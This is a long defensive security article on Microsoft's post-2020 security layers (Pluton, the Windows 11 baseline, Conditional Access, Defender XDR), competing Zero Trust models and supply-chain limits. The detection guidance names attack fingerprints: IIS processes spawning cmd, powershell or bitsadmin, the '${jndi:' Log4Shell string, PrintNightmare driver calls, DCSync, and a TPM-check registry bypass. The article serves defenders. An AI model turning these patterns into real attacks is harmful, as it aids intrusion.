Pluton is not a 2020 design. The same Microsoft Security and Pluton team shipped its first production silicon on the Xbox One in 2013, where the security processor was the anti-piracy and DRM key-storage root of trust. Galen Hunt's team then shipped a Pluton-derived security subsystem on Azure Sphere MCUs from April 2018, where it served as the secure-boot, runtime-attestation, and Microsoft-managed-firmware-update root for the IoT-microcontroller class [@azure-sphere-2018-azure-mirror]. The November 2020 announcement [@weston-2020-pluton] was the commitment to ship a mature security-processor design on general-purpose Windows PCs, not a new design.

A security processor co-designed by Microsoft, AMD, Intel, and Qualcomm, announced in November 2020 [@weston-2020-pluton] and shipped commercially in May 2022 on Lenovo ThinkPad Z13 and Z16 systems with AMD Ryzen 6000 SoCs -- the Lenovo StoryHub press release confirms the ship vehicle ("ThinkPad Z13 will be available from May 2022, starting from $1549" and "ThinkPad Z16 will be available from May 2022, starting from $2099"), and David Weston's CES 2022 Microsoft Windows Experience Blog post the same day names the same Pluton-on-Ryzen-6000 ThinkPad Z ship vehicle [@lenovo-thinkpad-z-press-jan2022, @pluton-windows-blog-jan2022]. Pluton can operate in three modes: as a TPM 2.0 implementation co-resident on the CPU die (the default on consumer Windows 11 systems where Pluton is enabled), as a security processor alongside a separate discrete TPM, or disabled at the OEM level [@ms-pluton-learn]. The architectural goal is to close the TPM bus-sniffing class by eliminating the external bus, not to add new cryptographic capability beyond what TPM 2.0 already specifies. flowchart TD subgraph DiscreteTPM[Discrete TPM topology] A1[CPU package] -- LPC or SPI bus, externally observable --> A2[Discrete TPM chip] A2 --> A3[VMK released to CPU at boot] A4[Attacker with logic analyzer] -. sniffs bus traffic .-> A1 end subgraph PlutonTopology[Pluton topology] B1[CPU package containing Pluton] --> B2[VMK released inside package, no external bus] B3[Attacker with logic analyzer] -. nothing to sniff .-> B1 end

Note: Matthew Garrett's April 2022 analysis of an AMD Ryzen 6000 firmware image documented that the PSP directory entry 0xB, bit 36, is an OEM-controlled toggle that disables Pluton at the firmware level [@mjg59-pluton]. Garrett's analysis confirmed Pluton silicon was present on his test machine and could be disabled by the OEM, not by the end user. The architectural implication is that "the system has a Pluton" and "Pluton is enabled and acting as the TPM" are independent claims, and an enterprise threat model that turns on the latter needs verification, not inference from the former.

The framing the Pluton announcement made explicit is the one that matters in the context of this article. Pluton is the hardware response to a supply-chain class. Discrete TPM was a supply chain answer for cryptographic identity; the LPC and SPI buses are a supply chain leak point because they cross a packaging boundary. Pluton closes the leak point by collapsing the boundary. The fact that the announcement landed three weeks before SUNBURST is coincidence; the fact that the two events name the same architectural problem at different layers is not.

6.2 The Windows 11 Hardware Baseline

Windows 11 reached general availability on October 5, 2021 [@win11-introducing]. The new install gate required TPM 2.0 and UEFI Secure Boot [@win11-specs] -- the first mainstream Microsoft operating system to require hardware roots of trust as a precondition for installation. The Windows installer verifies both at the install screen and refuses to proceed on systems that lack them.

The registry workaround at HKLM\SYSTEM\Setup\MoSetup\AllowUpgradesWithUnsupportedTPMOrCPU allows installation on systems with TPM 1.2 or an unsupported CPU model, but only as an in-place upgrade and only with explicit warning that the configuration is unsupported. The workaround is not part of the official install path; it documents the existence of an escape hatch without endorsing it. The architectural claim ("Windows 11 requires TPM 2.0 by official policy") is the operative one for fleet management.

The baseline does not eliminate the bootkit class. BlackLotus, disclosed in 2023, exploited CVE-2022-21894 to defeat Secure Boot on systems that had not patched the underlying bootloader vulnerability [@eset-blacklotus-2023]. The hardware-root-of-trust install gate is a baseline, not a ceiling. What it accomplishes architecturally is a population-level shift: by mid-2024, the median Windows 11 installation has a TPM, has Secure Boot enabled, and has measured boot data that VBS-based defenses (Credential Guard, HVCI) can layer on top of. Credential Guard in particular reached default-enabled status on hardware that meets the requirements in Windows 11 22H2 [@ms-credential-guard].

6.3 Conditional Access, CAE, and the Primary Refresh Token

The cloud-identity defense stack is the primitive that the four incidents most directly produced. Three components compose it, with explicit period-correct naming.

Microsoft's Zero Trust policy engine for Microsoft Entra ID (formerly Azure AD) [@ms-conditional-access]. A Conditional Access policy is an if-then statement that takes signals (user identity, group memberships, device compliance state, location, sign-in risk score, application being accessed) and produces an enforcement decision (allow, require multi-factor, require compliant device, block). Conditional Access policies act as the Policy Decision Point in the NIST SP 800-207 architecture; the resource being accessed acts as the Policy Enforcement Point. The mechanism by which a resource server can be informed mid-session that the user's risk state has changed and the existing access token should be re-evaluated [@ms-cae]. CAE is Microsoft's implementation of the OpenID Continuous Access Evaluation Profile (CAEP) [@openid-caep-spec], a Shared Signals and Events Framework standard. The Microsoft Learn CAE documentation describes critical-event evaluation as near real-time with up to fifteen minutes of event-propagation delay for some signals; IP-location policy enforcement propagates instantly [@ms-cae]. The initial supported relying parties are Exchange Online, SharePoint Online, and Teams [@ms-cae]. A long-lived authentication artifact issued by Microsoft Entra ID to first-party token brokers on Microsoft Entra joined and hybrid-joined devices [@ms-prt]. The PRT enables single sign-on across the applications used on those devices. The PRT's session key is non-exportable: on TPM-enabled devices the key is bound to the TPM and cannot be extracted from the machine. The PRT is the artifact that makes "compliant device" a meaningful signal in Conditional Access policies, because possession of a valid PRT cryptographically demonstrates the user is signing in from the specific device the PRT was issued to.

The "Azure AD" to "Microsoft Entra ID" rename history matters for citations and for tooling. Azure AD was the canonical name through July 11, 2023; the Microsoft Entra family umbrella was introduced on May 31, 2022 (Vasu Jakkal's Microsoft Security Blog post "Secure access for a connected world--meet Microsoft Entra" naming Azure AD, Cloud Infrastructure Entitlement Management, and decentralized identity as the initial family members [@ms-entra-launch-may2022]) but applied only to specific product families at that point; the Azure AD-to-Entra ID rename was July 11, 2023 [@ms-entra-rebrand]. Documentation written in 2021-2022 uses "Azure AD" throughout; documentation written after July 2023 uses "Microsoft Entra ID" throughout. Both names refer to the same product.

flowchart LR A[User on Entra-joined device] --> B[Device requests PRT, TPM-bound session key] B --> C[Entra ID issues PRT] C --> D[App access request, includes PRT-derived access token] D --> E[Conditional Access policy engine, the PDP] E --> F{"Signals, identity, device, location, risk score"} F --> G[Decision: allow, MFA, block] G --> H[Resource server, the PEP] H --> I[CAE channel back to Entra] I --> J[Risk-event signal triggers re-evaluation] J --> E

Together, the three primitives operationalize the Zero Trust framing in the Microsoft cloud-identity layer. Conditional Access decides at the PDP; CAE keeps the decision live after the initial sign-in; the PRT with TPM hardware binding makes the device-identity signal cryptographically meaningful rather than reputational. Microsoft Entra ID Protection layers risk-based signal-scoring on top, with detections for anomalous tokens, atypical travel patterns, and suspicious multi-factor approval flows [@ms-identity-protection-risks].

6.4 LSA Protection and the Vulnerable Driver Blocklist

The fourth Windows-side primitive is the pair of defaults that landed in 2022-2023 against credential-theft and bring-your-own-vulnerable-driver attacks respectively.

A Windows mechanism, introduced as an opt-in feature on Windows 8.1 and Windows Server 2012 R2 [@ms-lsa-protection], that runs the Local Security Authority subsystem (`lsass.exe`) as a Protected Process Light. The PPL status prevents non-PPL processes (including those running as SYSTEM) from opening LSASS with the access rights required for memory inspection or code injection. Mimikatz-style credential extraction from LSASS memory becomes unavailable to malware running outside the PPL trust level. The Microsoft Learn Windows 11 Security Book confirms the current default behavior: "LSA protection is enabled by default on all devices to help safeguard credentials. For new installations, it activates immediately. For upgrades, it becomes active after a five-day evaluation period followed by a system reboot" [@ms-win11-credprot-book] -- the audit-then-enforce rollout pattern that turned the opt-in 2013-era control into a default-on Windows 11 22H2 primitive; upgraded systems and systems flagged as incompatible remain opt-in. An attack pattern in which the attacker installs a *legitimately signed* third-party kernel driver that contains a known vulnerability, then exploits the driver's vulnerability to obtain kernel-mode code execution. The attacker thereby converts a userspace foothold into a kernel-mode foothold without writing kernel code that would have to pass Microsoft's signing process. The Vulnerable Driver Blocklist [@ms-driver-blocklist] is Microsoft's curated list of drivers known to be exploitable for BYOVD; Microsoft's KB5020779 -- titled "The vulnerable driver blocklist after the October 2022 preview release" -- states explicitly that "Starting with Windows 11, version 22H2, the blocklist is also enabled by default on all devices" [@ms-kb5020779-driverblocklist], anchoring both the October 2022 servicing milestone and the 22H2 default-on rollout. Community catalogs like LOLDrivers [@loldrivers] track the broader population.

The defaults matter precisely because the opt-in posture from 2013 onward did not produce population-level coverage. LSA Protection had been available for nine years before it shipped as a default; Vulnerable Driver Blocklist was available as a WDAC policy for several years before the default. The change in 2022-2023 is not the existence of the controls but the population they cover by default. Windows 11 22H2 fleets in 2024-2026 are the first Windows population in which a meaningful fraction of installs are LSA-Protected at sign-in and blocking the canonical BYOVD drivers at kernel-load time, on the default install path, without an administrator having configured the feature.

These four primitives -- Pluton at silicon, the Windows 11 hardware baseline at the OS install gate, Conditional Access with CAE and PRT at the cloud-identity layer, LSA Protection and Vulnerable Driver Blocklist as defaults on the endpoint -- are coherent if and only if they are layered. The fifth primitive, the Defender XDR composition plane, is what makes them layerable in practice.

6.5 Microsoft Defender XDR: The Composition Primitive

No single Defender product covers the full attack chain of any of the four 2020-2023 incidents. SUNBURST touches the endpoint, on-premises Active Directory, ADFS, and Microsoft 365 in sequence. ProxyLogon touches the IIS worker process, the file system, and downstream Exchange mailboxes. PrintNightmare touches the Spooler RPC interface on a Domain Controller. Log4Shell touches a Java application's process tree on Windows. The detection telemetry for each lives in a different product surface.

The unified incident-correlation and advanced-hunting plane that consolidates four product-level Defender products into a single security operations surface at `security.microsoft.com`. The four products are Microsoft Defender for Endpoint (workstation and server EDR), Microsoft Defender for Identity (on-premises Active Directory and ADFS detection) [@ms-defender-identity-creds], Microsoft Defender for Cloud Apps (cloud-session anomaly detection) [@ms-defender-cloud-apps-anomaly], and Microsoft Defender for Office 365 (email and collaboration phishing detection). XDR contributes three primitives the individual products cannot provide on their own: a common Kusto Query Language advanced-hunting schema across the four telemetry streams, incident correlation that groups alerts across products into a single cross-domain incident, and Automated Investigation and Response playbooks that span product boundaries.

The architectural role of each product against the article's incident set is specific.

Defender for Identity sources from Domain Controller event streams and from ADFS event logs. Its load-bearing detections against the SolarWinds-class follow-on are the SACL-based DCSync detection (which audits the three Directory-Replication-Get-Changes extended-rights GUIDs against AD event 4662 for non-DC principals) and the Golden SAML composite signal, which fuses an ADFS-anomaly alert with a downstream cloud-session anomaly and an Entra ID Protection risk-score elevation into a single correlated incident [@ms-defender-identity-creds]. The on-premises attack and the cloud-side forged-token consequence get joined in one investigation rather than two.

Defender for Endpoint carries the canonical ProxyLogon-class fingerprint: the IIS worker process w3wp.exe spawning cmd.exe, powershell.exe, cscript.exe, or bitsadmin.exe as a direct child [@ms-webshell-hunting-2021-feb]. The fingerprint generalizes beyond Exchange. The same parent-child pattern is the canonical web-shell pivot for ProxyShell against Exchange Server, for OGNL injection against Atlassian Confluence, and for any Java application-server exploitation against Tomcat on Windows in which the post-exploitation step drops a shell. One detection rule, multiple incident classes.

Defender for Cloud Apps runs the anomaly-detection plane against cloud sessions [@ms-defender-cloud-apps-anomaly]. The seven-day learning window builds a per-user behavioral baseline; subsequent sessions are scored against the baseline across impossible-travel, geographic deviation, device-fingerprint deviation, claim-set deviation, and token-lifetime deviation axes. The architectural significance against Storm-0558-class incidents is precisely that the cryptographic verification path will (by definition) accept a token forged with a stolen signing key -- so the catch has to happen at the behavioral layer rather than the signature layer. Defender for Cloud Apps is the heuristic anomaly net under the cryptographic floor.

Defender for Office 365 runs the upstream-vector layer for email and collaboration spearphishing -- the operator-pre-exploitation phase common to SolarWinds-class and HAFNIUM-class operations where the actor builds initial reconnaissance and credential access before reaching the production network. Its role in the article's incident set is preventive rather than detective: closing the recon entry path before the lateral-movement phase has a chance to begin.

flowchart TD A[Defender for Endpoint] --> E[Common KQL advanced-hunting schema] B[Defender for Identity] --> E C[Defender for Cloud Apps] --> E D[Defender for Office 365] --> E E --> F[Incident correlation engine] F --> G[Cross-domain incidents] G --> H[Automated Investigation and Response] H --> I[Cross-product remediation playbooks]

The canonical example of why XDR is the composition primitive: the SUNBURST chain produces a Defender for Endpoint network-beacon alert on the customer's Orion server (the SUNBURST DGA C2 callback), a Defender for Identity ADFS-token-extraction alert when the attacker takes the token-signing key off the ADFS host, a Defender for Cloud Apps Golden-SAML-pivoted session alert when the forged token authenticates against Exchange Online, and an Entra ID Protection forged-token sign-in alert with an anomalous claim set. Four product-level alerts. One real incident. Without the correlation plane, the alerts arrive as four separately triaged tickets; with it, they arrive as one investigation.

The framing the §6 architecture lands on is that the composition is structurally necessary. No 2020-2021 incident is covered by one of the five primitives alone. The 2022-2023 step forward is that all five primitives ship at scale; the load-bearing architectural argument is that none of them is sufficient in isolation. The next section walks the three competing architectural positions that determine how they are layered in practice.

7. Three Live Zero Trust Specifications

There is not one Zero Trust architecture in 2024-2026. There are three, and they are not interchangeable. Each closes a different gap; none closes all three.

Microsoft full-stack Zero Trust. The Microsoft posture is tightly integrated: Microsoft Entra ID for identity, Defender XDR for endpoint and cloud telemetry, Intune for device management, Purview for data classification, with Conditional Access as the policy engine that ties them together [@ms-zt-overview, @ms-zt-learn]. Microsoft Inside Track's published case study describes Microsoft's own seven-year internal transformation along this stack, anchored on four canonical scenarios: phishing-resistant MFA everywhere, device health attested before access, pervasive telemetry, and least-privilege enforcement [@ms-zt-at-microsoft]. Microsoft's deployment guide hub organizes the architecture along six pillars (Identity, Endpoints, Applications, Data, Infrastructure, Networks). Microsoft maintains a customer-stories portal at customers.microsoft.com with published case studies across consumer-goods, financial-services, healthcare, and public-sector cohorts. The case for the full-stack posture: operational coherence, integrated telemetry across identity and device, one policy plane to reason about. The case against: single-vendor risk, which SolarWinds made acutely concrete -- a posture in which one vendor supplies your operating system, identity provider, endpoint, and cloud productivity stack is architecturally homogeneous in exactly the way SUNBURST taught the industry to interrogate.

Best-of-breed multi-vendor. The third-party alternative composes an identity-as-a-service provider (Okta or Ping Identity), a third-party EDR (CrowdStrike Falcon or SentinelOne), a Secure Service Edge or Secure Web Gateway (Palo Alto Prisma or Zscaler), and a separate SIEM and SOAR for telemetry and orchestration. Okta's customer-stories portal positions itself around a "two-thirds of the Fortune 100" framing [@okta-customers]; the multi-vendor cohort spans Fortune 500 deployments across logistics, telecom, hospitality, and retail, with case studies on Okta's per-customer pages [@okta-customers]. The case for: cross-vendor coverage of the supply-chain class, on the principle that two independent vendor failures are less correlated than one. The case against: operational complexity, integration burden, and the recursive observation that any third-party vendor on the trusted-publisher list is itself a SolarWinds-style trust assumption -- the multi-vendor posture distributes the risk rather than eliminating it.

Both Microsoft's and Okta's customer-stories portals are organized by industry segment and per-customer case-study URL; specific named-customer cohorts vary as case studies are added, retired, or refreshed, so this article keeps the cohort framing at the industry-segment level rather than enumerating a fixed list of named brands [@ms-zt-at-microsoft, @okta-customers].

Federal Zero Trust (CISA ZTMM v2.0 and the OMB M-22-09 baseline). CISA published the Zero Trust Maturity Model v2.0 in April 2023 [@cisa-ztmm-v2]. The model defines a vendor-neutral architecture across five pillars (Identity, Devices, Networks, Applications and Workloads, Data) with three cross-cutting capabilities (Visibility and Analytics, Automation and Orchestration, Governance) and four maturity stages (Traditional, Initial, Advanced, Optimal). OMB Memorandum M-22-09 set the FY24 implementation baseline [@omb-m-22-09]. The DHS-specific operationalization, CISA Zero Trust Architecture Implementation, was published in January 2025 as the playbook for the department-level rollouts [@dhs-zta-impl]. The GAO audit GAO-24-106343 reported in March 2024 that the lead-implementation agencies (CISA, NIST, OMB) had fully completed 49 of 55 EO 14028 requirements, partially completed 5, with one not applicable [@gao-24-106343]. The SEC Office of Inspector General's September 2023 Final Management Letter is the canonical published example of an agency-level M-22-09 readiness review [@sec-oig-zt-mgmt-letter]. The case for: auditability, procurement neutrality, alignment with the federal mandate, and a measurable scorecard. The case against: it is a maturity model rather than an architectural specification, and adoption pace across federal civilian agencies has lagged the FY24 target the OMB memo set.

Pillar / Cost dimension	Microsoft full-stack	Best-of-breed multi-vendor	Federal CISA ZTMM v2.0
Trust root	Microsoft Entra ID + Microsoft Pluton	Mixed (Okta or Ping for SAML, third-party EDR)	Vendor-neutral; agency choice within five pillars
Identity plane	Entra ID with Conditional Access, CAE, PRT	Okta or Ping with SAML to downstream apps	Identity pillar with phishing-resistant MFA baseline
Endpoint	Defender for Endpoint	CrowdStrike Falcon or SentinelOne	Devices pillar; agency-selected EDR
Network	Microsoft Global Secure Access	Palo Alto Prisma or Zscaler	Networks pillar; SASE neutral
Integration FTE estimate	Low to medium (single-vendor APIs)	High (cross-vendor API integration)	Medium to high (M-22-09 compliance overhead)
Vendor supply-chain blast radius	Concentrated at one vendor	Distributed across four-plus vendors	Distributed; auditability primary

Microsoft was a SolarWinds Orion customer. Microsoft was one of the roughly one hundred follow-on victims of the SUNBURST follow-on phase. The MSRC final investigation update of February 18, 2021 documented the actor's late-November 2020 first viewing of files in source repositories, with continued attempts at access into early January 2021 [@msrc-solorigate-final]. The report named the targeted product families -- a small subset of Azure, Intune, and Exchange source-code repositories -- and confirmed no evidence of access to production services or customer data. Microsoft's own written conclusion was instructive: defense-in-depth protections prevented the actor from acquiring privileged credentials or executing SAML-token-forgery against Microsoft's corporate domains, and "in deployments that connect on-premises infrastructure to the cloud, organizations can delegate trust to on-premises components ... this creates an additional seam that organizations need to secure."

The best-of-breed multi-vendor argument is most concretely supported by Microsoft's own post-incident analysis, not by any third-party advocacy. A Zero Trust posture in which the policy engine and the operating system and the identity provider share a vendor -- and that vendor was itself a follow-on victim of a supply-chain compromise that targeted its source repositories -- needs to interrogate the assumption that one vendor's defense-in-depth is the load-bearing primitive. The Microsoft public conclusion is that defense-in-depth held; the structural observation the post-mortem invites is that "no single vendor should be the trust anchor for the policy engine that defends against vendor compromise."

Per-vendor licensing is the visible cost. The hidden cost is the engineering FTE the organization needs to maintain the integration graph between products: SCIM provisioning between IdP and downstream apps; SIEM connector maintenance across product versions; cross-product alert-correlation logic that the XDR composition plane handles for free in the Microsoft full-stack but has to be built from scratch in the best-of-breed posture. Federal cohort budgets generally absorb this via a dedicated cybersecurity-modernization line item that commercial Zero Trust pilots rarely receive. The integration-FTE cost is the most under-discussed input to the three-position choice.

All three are responses to the same incident clustering; none of them closes the structural ceiling the next section names.

8. What Even Perfect Execution Cannot Reach

If the four 2020-2021 incidents broke four engineering assumptions, the three bounds in this section are not engineering. They are mathematics and architecture.

Thompson's "Trusting Trust." A compiler that compiles itself can embed a backdoor that survives indefinitely with no trace in any audited source [@thompson-1984-acm, @thompson-nakamoto-reading]. SLSA addresses the visibility problem (what is in your supply chain) by attesting to build steps and provenance [@slsa-v1-levels]. SBOM addresses the composition problem (what components are in your artifact) by inventorying dependencies. Neither addresses the trust problem (what your supply-chain participants chose to do at points the attestations do not cover). SLSA Build Level 3 hardens the build platform; the hardened build platform's own toolchain is still an implicit trust root, and an attacker who compromises the toolchain at a layer below the attestation produces attested artifacts that are nevertheless malicious. The 1984 bound is not closed by 2026 supply-chain tooling.

A foundational result in computability theory (Henry Rice, 1953) stating that for any non-trivial semantic property of programs, no algorithm decides whether an arbitrary program has that property. The theorem bounds what static analysis of program behavior can achieve: no analyzer can decide, in general, whether a program will exfiltrate data, alter records, escalate privileges, or otherwise perform a given semantic action. Fred Cohen's 1984 "Computer Viruses: Theory and Experiments" applied the same bound to malware detection [@cohen-1984-virus]: no general algorithm can decide whether a program is a virus. SBOM tells you *what* is running; Rice tells you it cannot tell you whether what is running is safe.

Cohen 1984 and Rice's Theorem. SBOM data, combined with vulnerability databases, can answer "do we have a known-vulnerable component?" -- and Log4Shell IR proved that answer's value. SBOM cannot answer "is the component we have behaving safely?" -- and the post-Log4Shell follow-on CVEs proved that gap's reality. The composition is decidable; the semantics is not. Rice's Theorem is the bound on what an SBOM-plus-CVE-database posture can detect at scale.

The same-privilege paradox at the orchestration plane. A Zero Trust policy engine that decides every access decision is itself a privileged component. If the policy engine is compromised, the decisions it produces are not trustworthy, and the resources downstream of the engine cannot tell legitimate decisions from forged ones. Microsoft's "Assume Breach" third principle [@ms-zt-overview] is the operational acknowledgment that this ceiling is unsolved rather than closed -- "Assume Breach" is a posture for limiting blast radius after compromise, not a mechanism for preventing the compromise of the orchestration plane itself.

The 1984 result was load-bearing in December 2020. The 1953 theorem is load-bearing in December 2026. Both are still load-bearing, and the post-2023 stack does not close either.

9. Five Things 2026 Still Cannot Do

The Generation 5 stack walked in Section 6 is a necessary architectural pivot. It is not sufficient. Five honest residuals close out the open-problem framing.

Build-pipeline trust at scale. SLSA Build Level 3 adoption remains incomplete in 2026. Reproducible builds are still a research aspiration on most Linux distributions and an aspirational footnote on Windows. The median enterprise cannot answer "did this binary come from this source commit?" with cryptographic evidence; the answer in practice is "the vendor's release notes say so." in-toto attestations [@in-toto-home] cover specific build steps in mature deployments. The Generation 5 stack reduces the surface SUNBURST exploited; it does not foreclose it.

Identity-provider compromise as a class. Storm-0558 (disclosed July 2023, with the full root-cause investigation published in September 2023) is the post-window existence proof that the policy engine itself is a privileged plane [@msrc-storm-0558]. A 2021 crash dump that should not have contained signing-key material did contain Microsoft's consumer Microsoft Service Account (MSA) signing key; an engineer-account compromise enabled exfiltration of the dump; a validation flaw in Microsoft's enterprise token validation allowed consumer keys to sign enterprise tokens; the attacker forged Outlook Web Access and Exchange Online tokens for approximately twenty-five organizations, including U.S. State Department mailboxes. The incident is queued for Part 6.

Microsoft's designation for the China-based threat actor responsible for the July 2023 forged-token campaign against Outlook Web Access and Exchange Online, affecting approximately twenty-five organizations including U.S. State Department mailboxes [@msrc-storm-0558]. The incident sits outside this article's December 2021 closing window and structures Part 6 of the series. Part 6 of this series picks up the trust-root layer where Generation 5 left it. The architectural shape of the next era is the question Storm-0558 opened: if the identity provider's signing key is the trust root, what closes the compromise of that key as a class? Plausible answers in 2026 include shorter-lived signing keys with cryptographic attestation of issuance, threshold-signed identity providers that require multi-party participation in key use, sender-constrained tokens (DPoP) that bind tokens to specific client keys, and hardware-rooted attestation chains for identity-provider infrastructure. All of these are research-grade or early-deployment as of this article; the trust-root layer is the architectural frontier the post-2023 incidents have foregrounded.

Cross-vendor and managed-service-provider supply chains. The SolarWinds-class lesson did not generalize. The 3CX VoIP-client supply-chain compromise in March 2023 (attributed to UNC4736, a suspected North Korean nexus cluster Mandiant linked to Lazarus-class operations) [@mandiant-3cx-2023], the MOVEit file-transfer mass-exploitation by Cl0p in May-June 2023 [@cisa-aa23-158a], and the Change Healthcare [@unitedhealth-changehc-8k] and CDK Global [@cyberscoop-cdk-2024] cascades in 2024 demonstrated that the build-pipeline-trust lesson translated unevenly across third-party data-transfer and managed-service-provider classes. SLSA and SBOM are necessary tooling; they have not produced a population-level change in cross-vendor supply-chain risk.

The 2023-2024 supply-chain cascade (3CX, MOVEit, Change Healthcare, CDK Global) is the empirical reply to the "SolarWinds taught the industry" narrative. The lesson taught the industry to look for build-pipeline compromise of large software vendors; it did not, at the population level, teach the industry to look for the same class of compromise in mid-market communications, file-transfer, and dealer-management vendors. The structural problem the four-incident cluster of 2020-2021 named is still operative.

Conditional Access policy drift. Mature Microsoft Entra tenants routinely carry dozens of Conditional Access policies, with overlapping conditions, exclusions, and break-glass account exceptions. The cloud-identity equivalent of BloodHound -- a graph-analysis approach to enumerating reachable Tier-0 identities and policy bypasses -- remains research-grade in 2026. AzureHound and BloodHound Community Edition [@bloodhound-specterops] extend the on-premises model to the cloud, but production tooling for policy-graph analysis has not yet reached parity with the rate at which CA policies accumulate.

SBOM as forensics tool versus prevention tool. The Log4Shell IR experience demonstrated SBOM's forensics utility: organizations that had SBOM data answered "are we exposed?" in hours, while organizations without it took weeks. The prevention utility -- refusing to install software whose components fail policy -- has been slower to mature, both because component-policy semantics are not standardized and because the practical effect would be a substantial change to the enterprise software procurement model.

10. What a Practitioner Does Today

If you are reading this on a Monday, here is what you do this week, this quarter, this year, and what you stop trying to do entirely.

Lane 1: Preventive hygiene. Inventory vendor build-pipeline exposure. Which vendors push signed code to your endpoints? Which auto-update? Which are deployed via SCCM, Intune, or Workspace ONE? The inventory is the SolarWinds homework. Inventory internet-facing pre-auth surfaces (the ProxyLogon homework).

For build pipelines you own, the operational answer to the SUNSPOT lesson is the four-primitive chain that OpenSSF's SLSA v1.0 framework calls Build Level 3 [@slsa-v1-requirements]:

GitHub Actions OIDC ID tokens as workflow-bound short-lived identities, requested via permissions: id-token: write in the workflow YAML. The token's subject claim binds the job to a named workflow file and ref [@github-oidc-docs].
Sigstore Fulcio as the public-good keyless-signing certificate authority. Fulcio accepts the OIDC token plus an in-memory ephemeral keypair and returns a ~10-minute X.509 cert with the workflow SAN encoded into it [@sigstore-ccs2022, @cosign-signing-overview].
cosign signs the artifact with the ephemeral key and uploads the signature, certificate, and transparency-proof bundle [@cosign-signing-overview].
Rekor, the Trillian-backed Merkle-tree transparency log at rekor.sigstore.dev, returns a signed entry timestamp that asserts the signature existed before any later attacker could back-date it [@sigstore-rekor-docs].

No human signing key. No long-lived signing cert. No manual rotation. Every signing event is publicly auditable. SLSA Build Level 3 provenance is generated by the build platform itself through the OpenSSF reference reusable workflow slsa-framework/slsa-github-generator and attested through the same cosign + Rekor lane [@slsa-gh-generator]. Pair the chain with one of three SBOM-attestation tools as the predicate payload: Microsoft's sbom-tool for SPDX 2.2 / 3.0 drops on Microsoft-stack artifacts [@ms-sbom-tool], Anchore's syft for multi-language SPDX + CycloneDX generation natively paired with the Grype vulnerability scanner [@anchore-syft], or Aqua Security's trivy for single-step SBOM plus CVE plus IaC plus license plus secret scanning [@aquasec-trivy].

The OpenSSF SLSA framework's third Build-track level [@slsa-v1-requirements], reached when a build produces provenance that is *unforgeable* relative to the build platform itself. SLSA v1.0 (April 2023) defines three Build levels: L1 requires that provenance exists; L2 requires that provenance is authentic (signed by the build platform); L3 requires that provenance is unforgeable -- that is, the build platform's own identity is the signer, and no tenant on the build platform can produce provenance attributable to another tenant. Build L3 is what closes the SUNSPOT class for hosted-CI environments: even a tenant who controls their own build job cannot forge provenance for somebody else's artifact. The Linux Foundation public-good keyless-signing project, composed of three components: **Fulcio**, a certificate authority that issues short-lived (~10-minute) X.509 certificates binding an ephemeral keypair to an OpenID Connect identity claim; **cosign**, the command-line tool that orchestrates the keyless-signing workflow against Fulcio and Rekor; and **Rekor**, an append-only transparency log built on Google's Trillian Merkle-tree library that records every signing event and returns a signed entry timestamp [@sigstore-ccs2022, @cosign-signing-overview, @sigstore-rekor-docs]. The architectural property Sigstore delivers is the elimination of long-lived signing keys: a build job that runs for ten minutes signs an artifact with a key that exists only for the duration of the job, after which both the key and the certificate expire.

The canonical command-level tutorial for the Lane 1 chain lives at the OpenSSF SLSA "Producing Artifacts" requirements page [@slsa-v1-requirements] and the slsa-framework/slsa-github-generator reusable-workflow README [@slsa-gh-generator]; this article is the architectural primer, not the command reference.

Enable LSA Protection on every endpoint that supports it -- not just new Windows 11 22H2 clean installs, but every system in the fleet that can carry the configuration [@ms-lsa-protection]. Enable the Vulnerable Driver Blocklist [@ms-driver-blocklist]. Disable the Print Spooler on Domain Controllers as standing policy, per CISA ED 21-04 [@cisa-ed-21-04]. Roll out Pluton where the OEM ships it enabled; audit "Pluton present but disabled" with the same rigor as "TPM present but disabled."

{` // Logic equivalent of an audit script that lists trusted publishers // on a Windows endpoint and flags auto-updating vendors as // supply-chain-exposed. Demonstrates the inventory shape.

const trustedPublishers = [ { name: 'SolarWinds Worldwide LLC', autoUpdate: true, deployment: 'SCCM' }, { name: 'Microsoft Corporation', autoUpdate: true, deployment: 'WindowsUpdate' }, { name: 'Adobe Inc.', autoUpdate: true, deployment: 'AdobeRMS' }, { name: 'VMware Inc.', autoUpdate: false, deployment: 'manual' }, ];

function exposureScore(p) { let s = 1; if (p.autoUpdate) s += 2; if (p.deployment === 'SCCM' || p.deployment === 'Intune') s += 1; return s; }

const ranked = trustedPublishers .map(p => ({ ...p, score: exposureScore(p) })) .sort((a, b) => b.score - a.score);

for (const p of ranked) { console.log(p.score + ' ' + p.name + ' (' + p.deployment + ')'); } `}

Lane 2: Detection deployment. Microsoft Defender for Identity has SACL-based detections for DCSync, Golden Ticket, and Golden SAML signal patterns; deploy them and tune. Microsoft Defender for Endpoint has web-shell detections for the ProxyLogon-class IUSR-spawned cmd.exe pattern; deploy them on every Exchange front-end. Sigma rules for the canonical post-exploitation fingerprints (the ${jndi: substring in any logged event field for Log4Shell-class detection; RpcAddPrinterDriverEx for PrintNightmare-class detection on Domain Controllers).

For the Conditional Access policy drift surface §9 names as open-problem-3, three open-source tools form a complementary cohort. None subsumes the others; each closes a structurally distinct detection lane.

Maester is a PowerShell + Pester test-automation framework that wraps the Microsoft Graph Conditional Access "What If" evaluation API in the Test-MtConditionalAccessWhatIf cmdlet. It ships built-in test profiles aligned to the OMB M-22-09 phishing-resistant-MFA baseline and the CISA ZTMM v2.0 Identity-pillar Optimal stage, and is designed to run as a recurring GitHub Actions, Azure DevOps, or Azure Automation job [@maester-github, @maester-docs, @maester-ca-whatif]. Maester occupies the assertion lane: does the deployed CA-policy state pass an asserted baseline under What-If simulation?

CAOptics, Joosua Santasalo's Node.js permutation-enumeration tool, evaluates the (subject x app x condition) tuple space against the same Microsoft Graph CA-evaluation API and reports the gaps. It catches break-glass-account exclusion-clause interactions that Maester's assertion profiles do not exercise [@caoptics-github]. CAOptics occupies the gap-enumeration lane.

BloodHound Community Edition with the SpecterOps AzureHound collector is the cloud-side companion to SharpHound's on-premises Active Directory enumeration. Combined BloodHound CE graph models both on-premises and cloud-identity attack paths with explicit cross-boundary edges for Azure AD Connect, Pass-Through Authentication, hybrid-joined devices, and federated trusts [@azurehound-github, @bloodhound-azurehound-docs, @bloodhound-specterops]. BloodHound CE plus AzureHound occupies the graph-reachability lane: what is the set of lateral-movement paths from any identity to any Tier-0 cloud or on-premises identity?

Layer the three tools together. The composition is the operational closure of §5's "policy is code" claim against the §9 open-problem-3 detection lane.

